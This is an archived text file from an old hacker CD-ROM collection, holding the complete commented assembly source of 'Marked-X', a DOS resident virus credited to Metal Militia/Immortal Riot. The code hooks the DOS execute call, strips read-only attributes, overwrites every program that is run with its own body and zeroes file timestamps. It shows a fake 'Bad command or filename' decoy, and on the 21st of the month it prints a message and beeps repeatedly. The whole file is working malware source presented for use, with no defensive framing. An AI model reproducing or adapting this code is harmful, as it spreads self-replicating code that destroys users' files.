home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CODBRK3.ZIP / cb0304.txt < prev    next >
Text File  |  1998-03-19  |  4KB  |  127 lines

  1. ; Name: Marked-X
  2. ; Author: Metal Militia/Immortal Riot
  3. ; Resident: Yes
  4. ; Encryption: No
  5.  
  6. virus segment
  7. assume cs:virus, ds:virus
  8. org 100h
  9.  
  10. start:
  11. mov  ah,2ah            ; Function 2Ah: Get System Date
  12. int  21h               ; Retrieve date
  13. cmp  dl,21             ; DL = Date ( tests against 21st )
  14. je   Payload           ; Its time for the payload, 21st of month
  15.  
  16. mov  ah,9h             ; Function 09h: Print String
  17. mov  dx,offset note    ; Location of decoy note
  18. int  21h               ; Explains why the file will not run.
  19. jmp  Go_TSR            ; Time to go TSR
  20.  
  21. Payload:
  22. ; The test at the beginning proves it to be the 21st, now to
  23. ; drop a bomb on victim.
  24.  
  25. ; Prints the payload message to announce wtf is going on.
  26. mov  ah,9h             ; Function 09h: Print String to Standard output
  27. mov  dx,offset society ; Its the message
  28. int  21h               ; Tells DOS to announce our presence
  29.  
  30. mov  cx,1000           ; Print 1000 times
  31. mov  ax,0E07h          ; Function 0Eh: Teletype output
  32.                          ; 07h = The bell character, makes a beep!
  33. beeper:
  34. int  10h               ; Video functions
  35. loop beeper            ; Beeps 1000h times, The count in CX 
  36.  
  37. Go_TSR:
  38. jmp  tsrdata ; Celebrate! now put us as a TSR in memory
  39.  
  40. new21:
  41. pushf                    ; Pushes the Flags Register
  42. cmp  ah,4bh              ; Function 4Bh: Execute program
  43. jz   infect              ; If a file is being run, infect it.
  44. jmp  short end21         ; If a file is not being run then we 
  45.                          ; must head back to the old INT 21h.
  46.  
  47. infect:
  48. mov  ax,4301h            ; Function 4301h: Set Attributes
  49. and  cl,0feh             ; Keeps all File attributes 'cept read-only
  50. int  21h                 ; Makes the file writeable
  51.  
  52. mov  ax,3d02h            ; Function 3D02h: Open File for Read/Write access
  53. int  21h
  54.  
  55. mov  bx,ax        ; Puts file handle in BX
  56.  
  57. push ax                     ; Push all
  58. push bx
  59. push cx
  60. push dx
  61. push ds
  62. push cs
  63.  
  64. pop  ds
  65. mov  ax,4200h               ; Move to beginning of victim file
  66. xor  cx,cx
  67. cwd
  68. int  21h
  69.  
  70. mov  cx,offset endvir-100h  ; Length of area to write
  71. mov  ah,40h                 ; Function 40h: Write to file
  72. mov  dx,100h                ; Start of Virus
  73. int  21h
  74.  
  75. cwd                         ; Set Date/Time 
  76. xor  cx,cx                  ; to zero (00-00-00)
  77. mov  ax,5701h                
  78. int  21h
  79.  
  80. mov  ah,3eh                 ; Close Victim file
  81. int  21h
  82.  
  83. x21:
  84. pop  ds ; pop all        ; Restores all registers
  85. pop  dx
  86. pop  cx
  87. pop  bx
  88. pop  ax
  89.  
  90. end21:
  91. popf           ; Pops the flags register to keep it unaltered
  92. db   0eah      ; Jumps Far to the old Int 21h handler
  93.  
  94. old21     dw     0,0 ; Where to store the old INT21
  95. data_1    db     'Marked-X' ; Virus name
  96.           db     'Will we ever learn to talk with eachother?' ; Virus poem
  97.           db     '(c) Metal Militia/Immortal Riot' ; Virus author
  98. society   db     'In any country, prison is where society sends it''s',0dh,0ah
  99.           db     'failures, but in this country society itself is faily',0dh,0ah
  100.           db     '$' ; Information note
  101. note      db     'Bad command or filename',0dh,0ah
  102.           db     '$' ; Fake note
  103.  
  104. tsrdata:
  105. mov  ax,3521h       ; Function 35??h: Get Interrupt Vector
  106.                     ; AL = INT#
  107.                ; Returns ES:BX of old Interrupt vector
  108. int  21h                         ; Find out where INT 21h goes
  109.  
  110. mov  cs:[old21],bx       ; Places the Old INT 21h vector into
  111. mov  cs:[old21+2],es     ; its proper place.
  112. mov  dx,offset new21          ; Insertion Point of New INT 21h
  113. mov  ax,2521h            ; Function 25??h: Set new Int Vector
  114.                          ; AL = INT #
  115.                ; Makes DS:DX new INT Vector
  116. int  21h                 ; Coolness
  117.  
  118. push cs                  ; CS = Code segment that the PSP of TSR
  119.                          ; progge is located in.
  120. pop  ds                  ; Copy that into DS
  121. mov  dx,offset endvir            ; Put all of us in memory
  122. int  27h                         ; Do it, TSR (terminate & stay resident)
  123.  
  124. endvir    label  byte ; End of file
  125. virus     ends
  126.           end    start
  127.